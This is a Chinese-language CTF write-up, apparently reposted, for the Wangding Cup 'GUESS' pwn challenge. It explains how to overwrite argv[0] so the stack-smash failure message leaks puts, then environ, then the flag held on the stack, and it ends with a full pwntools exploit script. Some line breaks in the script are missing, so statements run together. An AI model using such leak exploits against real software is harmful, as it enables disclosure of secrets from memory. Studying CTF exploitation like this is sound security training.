当前位置: 代码迷 >> 综合 >> PWN 网鼎杯 GUESS
  详细解决方案

PWN 网鼎杯 GUESS

热度:22   发布时间:2023-12-27 04:14:41.0

拖了好久才看题,中间去参加比赛去了,休息够了开始学习啦!

GUESS 在checksec查看后,发现开了canary 和 NX保护,所以可以用 stack smash 来做这个题

ida打开,查看一下源代码:

发现程序自己把读取flag到了栈中,所以思路就是:

1.通过覆盖argv[0]先泄露puts的地址

2.通过泄漏的puts的地址,计算出基地址然后泄漏出environ的地址(也就是栈的地址),为什么泄漏environ:https://www.jianshu.com/p/cc9d09a3f65f 有详细的解释

3.找到flag和environ的偏移(就是找到flag在栈上的位置)


确定argv[0]的地址:

方法一:在main函数处下断,运行停止后指向程序名的就是argv[0]的地址

方法二:print & __libc_argv[0],可直接获得argv[0]的地址

可得argv[0]的地址为0x7fffffffe198

确定要可控字符串与argv[0]之间的距离:

程序通过gets函数获得我们输入的字符串,所以在get函数处下断,运行至断点处,发现gets将获得的字符串储存在距离rbp 0x40 的地方,print $rbp,然后用rbp的地址减掉0x40 (0x7fffffffe0b0-0x40=0x7FFFFFFFE070 )就是可控字符串的位置。

0x7fffffffe198-0x7FFFFFFFE070=0x128(296)

确定flag在栈上的位置:

 

flag和栈地址之间的距离  0x7fffffffe1a8-0x7fffffffe040=0x168(360)

脚本如下:

from pwn import *
from LibcSearcher import LibcSearcherelf = ELF("./GUESS")
sh = process('./GUESS')print ('[+]  leak puts address')
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
payload = 'a'* 296 + p64(puts_got)
sh.recvuntil('Please type your guessing flag')
sh.sendline(payload)
sh.recvuntil('*** stack smashing detected ***: ')
sh.recv()
puts_addr = u64(sh.recvuntil(' ')[:-1]+'\x00\x00')
print "puts_addr:"+hex(puts_addr)print('[+]  find environ address')
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr-libc.dump('puts')
environ_addr = libc_base + libc.dump('_environ')
print "environ_address:"+hex(environ_addr)print ('[+] leak stack address')
sh.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(environ_addr) 
sh.sendline(payload)
#sh.recvuntil('*** stack smashing detected ***:')
sh.recv()
stack_addr = u64(sh.recvuntil(' ')[:-1]+'\x00\x00') 
print "stack_addr:"+hex(stack_addr)print('[+] leak flag')
sh.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)
sh.sendline(payload)
sh.interactive()